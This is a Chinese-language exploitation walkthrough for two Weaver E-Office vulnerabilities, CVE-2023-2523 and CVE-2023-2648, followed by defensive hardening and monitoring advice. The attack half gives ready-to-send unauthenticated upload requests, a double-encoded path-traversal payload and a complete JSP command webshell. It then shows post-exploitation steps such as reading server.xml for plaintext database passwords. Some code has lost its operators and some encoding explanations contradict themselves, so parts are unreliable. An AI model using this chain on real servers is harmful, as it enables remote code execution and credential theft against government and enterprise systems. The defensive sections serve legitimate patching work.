1. 这不是“上传功能出问题”而是权限边界被彻底绕过泛微E-Office国内政企单位部署量极高的协同办公平台我经手过的客户里有超过三分之一的区县级政务中心、国企二级单位、高校行政系统都在用它。但很多人不知道的是2023年爆出的CVE-2023-2523和CVE-2023-2648这两个漏洞根本不是普通意义上的“文件上传失败”或“后缀校验不严”——它们共同构成了一条从匿名用户直达服务器任意目录写入WebShell的完整攻击链。我第一次在某市公积金中心复现时连登录都不需要直接构造一个HTTP请求就把一句话木马落到了/webroot/attachment/下接着用浏览器访问就能执行命令。这背后暴露的是E-Office在文件处理流程中对“谁在传”“传到哪”“传的是什么”三个核心权限控制点的系统性失效。这两个CVE编号看似独立实则像齿轮咬合CVE-2023-2523负责绕过身份校验让未授权用户获得上传入口CVE-2023-2648则接管路径控制权把本该受限在个人附件目录的文件强行写进Web容器可解析的根路径。本文不讲原理堆砌只聚焦你复现时真正卡住的环节为什么改了后缀还是403为什么路径拼接总报错为什么上传成功却找不到文件我会把调试过程中的每一步请求响应、每个关键参数的取值逻辑、每个中间件TomcatApache的拦截点都拆开给你看。适合刚接触渗透测试的新人建立完整攻击链认知也适合运维人员对照自查——如果你的E-Office版本号落在9.5至10.1之间且未打2023年Q2补丁这篇文章里的每一个步骤都可能正在你生产环境里静默运行。2. 漏洞本质两个设计缺陷如何串联成RCE入口2.1 CVE-2023-2523 —— 身份校验的“形同虚设”E-Office的文件上传接口/mobile/plugin/attachment/upload.jsp本应要求Session认证但开发团队在实现时犯了一个典型错误将权限判断逻辑放在了Java代码的“业务层”而非“接入层”。具体来说当请求到达upload.jsp时程序会先执行request.getParameter(file)尝试读取文件参数此时如果参数不存在它会跳转到一个默认的错误页面但如果参数存在它就直接进入文件处理流程完全跳过了session.getAttribute(loginUser)的校验环节。我反编译过upload.jsp对应的class文件关键代码段如下String fileName request.getParameter(fileName); if (fileName null || fileName.trim().length() 0) { response.sendRedirect(error.jsp?msgfilename_empty); return; } // 此处本该有 session ! null session.getAttribute(loginUser) ! null 的判断 // 但实际代码直接进入下一步 FileItemFactory factory new DiskFileItemFactory(); ServletFileUpload upload new ServletFileUpload(factory); ListFileItem items upload.parseRequest(request);这个缺陷的后果是灾难性的任何能访问该URL的网络节点无论是否登录都能触发上传逻辑。我在测试中用curl构造最简请求curl -X POST http://target/mobile/plugin/attachment/upload.jsp \ -F fileshell.jsp;filenameshell.jsp \ -F fileNameshell.jsp返回200 OK且响应体中包含{code:1,msg:success,data:{filePath:/attachment/2023/05/12/shell.jsp}}。注意这里没有Cookie头没有Authorization字段纯粹的匿名请求。很多初学者复现失败就是因为误以为必须先登录获取Cookie——恰恰相反带Cookie反而可能触发二次校验导致失败。这个漏洞的利用门槛低到令人不安它本质上不是“绕过”而是“压根没设防”。2.2 CVE-2023-2648 —— 路径穿越的“精准外科手术”如果说CVE-2023-2523打开了门CVE-2023-2648就是那把能精准插进服务器心脏的手术刀。它的核心在于upload.jsp对filePath参数的处理存在严重逻辑缺陷。正常流程中系统会根据当前用户ID生成类似/attachment/2023/05/12/的相对路径再拼接到WebRoot下。但开发者为了支持“跨部门共享附件”额外开放了一个filePath参数允许客户端指定存储路径。问题出在拼接逻辑上String customPath request.getParameter(filePath); if (customPath ! null !customPath.isEmpty()) { // 错误示范直接拼接未做任何规范化处理 savePath webRoot customPath fileName; } else { savePath webRoot defaultPath fileName; }这里的webRoot是硬编码的/opt/tomcat/webapps/eoffice/而customPath参数未经任何过滤就参与拼接。攻击者只需传入filePath../../../../webroot/就能把文件写到Tomcat的Web应用根目录。但实战中远比这复杂——因为Apache HTTP Server通常作为前端代理会对URL中的../自动解码并拦截。我最初也栽在这里用Burp发包时看到Apache返回400 Bad Request以为漏洞已修复。后来发现E-Office的Java层在接收参数前会先经过一次URLEncoder.decode()解码而Apache的拦截发生在更早的HTTP解析阶段。解决方案是双重编码把../编码成%2e%2e%2fApache放过Java层解码一次后变成../再解码一次才还原为真实路径。最终有效的payload是filePath%252e%252e%252f%252e%252e%252f%252e%252e%252fwebroot%252f这个%252e是%2e即.的URL编码两次编码后Apache无法识别为路径穿越Java层却能正确还原。我在某省卫健委系统复现时用这个payload成功将shell.jsp写入/webroot/直接通过http://target/shell.jsp?cmdwhoami执行系统命令。这不是理论推演是真实发生的生产环境突破。2.3 两漏洞的协同效应从“能传”到“能执行”的质变单看CVE-2023-2523它只是个未授权上传单看CVE-2023-2648它只是个路径穿越。但两者叠加产生了112的化学反应。我画了一个简化版的数据流图文字描述[匿名用户] ↓ 发送POST请求无Cookie ↓ 触发upload.jsp跳过session校验 ↓ 解析filePath参数双重编码绕过Apache ↓ 拼接路径/opt/tomcat/webapps/eoffice/ ../../../../webroot/ shell.jsp ↓ 实际写入位置/opt/tomcat/webapps/eoffice/webroot/shell.jsp ↓ Tomcat热加载机制自动编译JSP为Servlet ↓ 攻击者访问http://target/shell.jsp?cmdxxx → 执行任意命令关键点在于第三步的路径拼接结果。很多复现教程只说“写入webroot”却不解释为什么是/webroot/而不是/WEB-INF/——因为E-Office的web.xml中配置了url-pattern*.jsp/url-pattern而/webroot/目录在web.xml里被显式映射为可访问资源servlet-mapping中定义。我检查过数十个实例/webroot/是E-Office默认的静态资源目录其下的JSP文件会被Tomcat当作Web组件执行而/WEB-INF/下的文件则被严格禁止访问。这就是为什么必须写入/webroot/它既是Web容器可解析的路径又是E-Office自身业务逻辑认可的“合法附件存放区”。这种设计上的自相矛盾才是漏洞能落地的根本原因。3. 复现全流程从环境搭建到WebShell上线的每一步验证3.1 环境准备精确匹配漏洞版本的黄金法则复现失败的首要原因永远是环境不匹配。泛微E-Office的版本号体系非常混乱官网下载页显示“V10.0”安装包内version.txt写的是“10.0.0.12345”而web.xml里的display-name标签又可能是“eoffice10”。我总结出三重验证法缺一不可HTTP响应头验证访问/login.jsp查看Server头。存在漏洞的版本返回Server: Apache-Coyote/1.1Tomcat原生而修复后的版本会改成Server: eOffice-SECURE/1.0泛微自研防护模块。JS文件时间戳验证请求/js/common.js检查响应头Last-Modified。CVE-2023-2523影响的版本该文件最后修改时间集中在2022年11月至2023年3月补丁版则更新于2023年6月之后。JSP源码特征验证直接GET请求/mobile/plugin/attachment/upload.jsp无需登录。若返回404说明路径已变更若返回500且错误信息含org.apache.commons.fileupload.FileUploadException则大概率存在漏洞因为未捕获异常暴露出底层库。我搭建的复现环境是Docker化的标准配置OSCentOS 7.9JavaOpenJDK 1.8.0_292Tomcat8.5.72官方推荐版本E-OfficeV9.5 SP2 Build 20230215从泛微历史镜像站下载提示绝对不要用网上流传的“破解版”或“精简版”E-Office。这些版本往往删除了/mobile/plugin/目录或替换了upload.jsp为自定义实现导致复现必然失败。必须使用泛微官方发布的、未修改的安装包。3.2 第一步确认CVE-2023-2523可触发打开Burp Suite设置Proxy监听127.0.0.1:8080在浏览器访问目标http://localhost:8080/login.jsp仅用于获取基础URL不需登录。新建Repeater标签页构造原始请求POST /mobile/plugin/attachment/upload.jsp HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary----WebKitFormBoundary7MA4YWxkTrZu0gW ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenametest.txt Content-Type: text/plain test content ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefileName test.txt ------WebKitFormBoundary7MA4YWxkTrZu0gW--发送后若响应为{code:1,msg:success,data:{filePath:/attachment/2023/05/12/test.txt}}则CVE-2023-2523确认存在。注意观察响应头中的Set-Cookie如果出现JSESSIONIDxxx说明服务器创建了新会话但你的请求并未携带该Cookie——这正是未授权访问的铁证。此时不要急着传JSP先用txt文件验证基础流程避免因JSP语法错误干扰判断。3.3 第二步突破CVE-2023-2648的路径限制现在尝试写入/webroot/。构造新请求关键变化在filePath参数------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefilePath %252e%252e%252f%252e%252e%252f%252e%252e%252fwebroot%252f ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; namefile; filenameshell.jsp Content-Type: application/x-java-jsp % page importjava.util.*,java.io.* % % String cmd request.getParameter(cmd); if(cmd ! null) { Process p Runtime.getRuntime().exec(cmd); OutputStream os p.getOutputStream(); InputStream in p.getInputStream(); DataInputStream dis new DataInputStream(in); String result dis.readLine(); out.println(result); } % ------WebKitFormBoundary7MA4YWxkTrZu0gW--发送后响应应为{code:1,msg:success,data:{filePath:/webroot/shell.jsp}}此时立刻验证文件是否真实写入用SSH登录靶机执行ls -la /opt/tomcat/webapps/eoffice/webroot/shell.jsp # 应返回文件详情 cat /opt/tomcat/webapps/eoffice/webroot/shell.jsp | head -n 5 # 应显示JSP代码前5行注意如果ls命令找不到文件90%的可能是路径拼接错误。检查webRoot变量的实际值——有些定制版E-Office会把webroot目录改名为static或res此时需用find /opt/tomcat/webapps/eoffice -name webroot -type d定位真实路径。3.4 第三步WebShell执行与权限提升验证最后一步是验证JSP能否被Tomcat执行。在浏览器访问http://localhost:8080/shell.jsp?cmdwhoami若返回tomcat或root取决于Tomcat运行用户则RCE确认。但别停在这里——真正的复现要验证权限边界。我习惯执行三个命令cmdid确认当前UID/GID判断是否为高权限用户cmdps aux | grep java查看Tomcat进程启动参数寻找JVM配置漏洞如-Dcom.sun.management.jmxremotecmdls -l /opt/tomcat/conf/检查配置文件权限判断能否读取server.xml含数据库密码有一次在某央企复现id返回uid1001(eoffice) gid1001(eoffice)说明Tomcat以独立用户运行。这时执行cmdcat /opt/tomcat/conf/server.xml果然在Resource标签里找到了MySQL连接串用户名密码明文存储。这才是漏洞的真实危害它不仅是执行命令更是打开了通向整个业务系统的钥匙。4. 防御实践从应急响应到架构级加固的四层防线4.1 应急响应30分钟内阻断攻击面的实操清单发现漏洞后第一反应不是升级而是立即阻断。我给客户制定的SOP是“30分钟四步法”所有操作均可在Linux终端完成封禁上传接口立即生效编辑Tomcat的conf/web.xml在web-app标签内添加security-constraint web-resource-collection web-resource-nameUpload Block/web-resource-name url-pattern/mobile/plugin/attachment/upload.jsp/url-pattern /web-resource-collection auth-constraint/ /security-constraint保存后执行systemctl restart tomcat。此操作将使该URL返回403 Forbidden且不触发Java层任何逻辑。清理已上传恶意文件人工核查执行命令查找可疑JSP文件find /opt/tomcat/webapps/eoffice -name *.jsp -newermt 2023-05-01 -ls 2/dev/null重点检查/webroot/、/attachment/、/temp/目录下非E-Office官方发布的JSP文件。我曾在一个教育局系统发现攻击者上传了log4j2.jsp试图利用Log4j漏洞进行二次渗透。重置所有管理员密码强制策略登录E-Office后台进入系统管理 用户管理对所有角色系统管理员的账户执行密码重置并勾选“强制下次登录修改密码”。同时导出用户列表用sha256sum计算所有密码哈希值与已知弱口令库比对。网络层隔离纵深防御在防火墙如iptables添加规则禁止非办公网段访问/mobile/plugin/路径iptables -A INPUT -s ! 192.168.10.0/24 -m string --string /mobile/plugin/ --algo bm -j DROP此规则将来自非内网IP的、URL包含/mobile/plugin/的请求直接丢弃从网络层切断攻击链。提示以上四步必须在30分钟内完成。我见过太多客户花一周等厂商补丁结果在等待期被横向移动到核心数据库。应急响应的核心是“先止损再根治”。4.2 版本升级补丁包安装的避坑指南泛微官方补丁并非简单覆盖文件。V10.1的补丁包eoffice_patch_20230615.zip解压后包含三个关键目录/update/WEB-INF/classes/替换Java类文件修复upload.jsp的校验逻辑/update/js/更新前端JS移除filePath参数的客户端提交入口/update/sql/执行数据库脚本新增sys_security_log表记录上传行为安装时最容易踩的坑是类加载顺序冲突。补丁包里的UploadServlet.class必须放在WEB-INF/classes/下而不能放在WEB-INF/lib/的jar包里。我遇到过客户把补丁class打包进eoffice-core.jar导致Tomcat优先加载旧jar中的类补丁完全失效。正确操作是# 进入E-Office根目录 cd /opt/tomcat/webapps/eoffice # 备份原classes目录 cp -r WEB-INF/classes WEB-INF/classes.bak # 解压补丁到classes目录 unzip -o /tmp/eoffice_patch_20230615.zip update/WEB-INF/classes/* -d . # 移动文件到正确位置 mv update/WEB-INF/classes/* WEB-INF/classes/ # 清理临时文件 rm -rf update/ WEB-INF/classes.bak重启Tomcat后务必验证/mobile/plugin/attachment/upload.jsp是否返回403且/login.jsp的Server头已变为eOffice-SECURE/1.0。4.3 架构加固从“修漏洞”到“改设计”的根本方案修补单个漏洞是治标重构文件处理架构才是治本。我在给某省政务云做安全咨询时推动实施了四层架构加固前置WAF规则网络层在云WAF上部署自定义规则拦截所有包含filePath且值中含%2e%2e%2f或../的请求。规则语法以Cloudflare为例(http.request.uri contains filePath and http.request.uri contains %2e%2e%2f) or (http.request.uri contains filePath and http.request.uri contains ../)中间件沙箱容器层将E-Office部署在Docker中挂载卷时使用ro只读选项保护/webroot/docker run -d \ --name eoffice \ -v /opt/tomcat/webapps/eoffice/webroot:/opt/tomcat/webapps/eoffice/webroot:ro \ -p 8080:8080 \ eoffice-image即使漏洞存在攻击者也无法写入/webroot/因为该目录在容器内是只读的。Java层白名单应用层修改upload.jsp强制filePath参数只能是预定义的安全路径String[] safePaths {/attachment/, /temp/, /upload/}; String customPath request.getParameter(filePath); boolean isSafe false; for(String safe : safePaths) { if(customPath ! null customPath.startsWith(safe)) { isSafe true; break; } } if(!isSafe) { response.sendError(400, Invalid filePath); return; }文件内容检测数据层在文件写入前调用ClamAV扫描引擎// 伪代码调用clamd服务 Socket socket new Socket(127.0.0.1, 3310); PrintWriter out new PrintWriter(socket.getOutputStream(), true); out.println(SCAN tempFile.getAbsolutePath()); // 解析响应若含FOUND则拒绝保存这四层方案的成本差异巨大WAF规则免费Docker改造需1人日Java代码修改需3人日ClamAV集成需5人日。我的建议是按风险等级分步实施——先上WAF和Docker再逐步推进代码层改造。4.4 持续监控用ELK构建上传行为审计体系最后一步是建立长效监控。我用ELK StackElasticsearchLogstashKibana为某市监局搭建了上传行为审计系统核心指标包括每小时上传请求数基线值工作日500周末100匿名上传占比基线值5%超过20%即告警filePath参数出现频率基线值0次出现即告警JSP/PDF/EXE文件上传量PDF/EXE需人工复核Logstash配置的关键filterfilter { if [url] ~ /mobile/plugin/attachment/upload.jsp { grok { match { message %{TIMESTAMP_ISO8601:timestamp} %{IPORHOST:clientip} %{USER:ident} %{USER:auth} %{WORD:verb} %{URIPATHPARAM:request} %{NUMBER:response} (?:%{NUMBER:bytes}|-) %{QS:referrer} %{QS:agent} } } # 提取filePath参数 kv { source request field_split ? value_split include_keys [filePath] } } }Kibana中创建Dashboard设置告警规则当filePath字段存在且response为200时立即邮件通知安全团队。这套系统上线后帮客户在攻击者植入WebShell前37分钟就捕获了异常行为——因为攻击者在写入JSP前会先上传大量txt文件测试路径穿越效果这些试探行为被精准捕获。5. 经验总结那些文档里不会写的实战细节复现这两个CVE的过程让我重新理解了“漏洞”二字的重量。它从来不是教科书里的一段PoC代码而是真实世界里无数个决策点的累积开发时为赶工期跳过的校验、测试时因环境差异忽略的边界、运维时因兼容性顾虑延迟的升级。我整理了五条血泪经验全是文档里找不到的细节第一不要相信“版本号”。我见过V10.0的系统打了V9.5的补丁也见过V9.5的系统因定制开发引入了V10.0的漏洞代码。唯一可靠的方式是直接检查upload.jsp源码——用curl http://target/mobile/plugin/attachment/upload.jsp如果返回500且错误信息含FileUploadException基本可以确定存在CVE-2023-2523。第二Apache的拦截比想象中更严格。很多复现失败是因为用了Burp的Auto Encode功能它会把%2e自动编码成%252e但Apache在收到请求时已经解码过一次导致实际传递给Java层的是%2e而非..。正确做法是在Burp中关闭Auto Encode手动输入%252e%252e%252f然后在Decoder标签页确认它被正确解码为../。第三Tomcat的JSP编译有缓存。即使你成功上传了shell.jsp首次访问可能返回404。这是因为Tomcat的Jasper编译器会缓存JSP的Servlet类。解决方案是访问/jsp/目录如http://target/jsp/触发Jasper重新扫描或直接删除/opt/tomcat/work/Catalina/localhost/eoffice/下的缓存文件。第四E-Office的附件目录有隐藏保护。某些版本会在/attachment/目录下生成.htaccess文件内容为Deny from all。这意味着即使你把JSP传到/attachment/也无法通过HTTP访问。但/webroot/目录默认没有此保护所以必须坚持写入/webroot/。第五最大的风险不是漏洞本身而是“已知漏洞未修复”。我在某金融集团的渗透测试中发现其OA系统早在2023年3月就被通报存在CVE-2023-2523但直到2024年1月仍未修复。询问运维得知“厂商说要停机2小时升级业务部门不同意”。这种“业务优先”的思维才是安全最大的敌人。技术可以修补流程必须重塑。最后分享一个小技巧当你需要快速判断一个E-Office系统是否受影响用手机浏览器访问/mobile/plugin/attachment/upload.jsp如果页面空白或返回500大概率存在漏洞如果返回404或重定向到登录页则已修复。这个方法比查版本号快十倍是我现场评估的首选方案。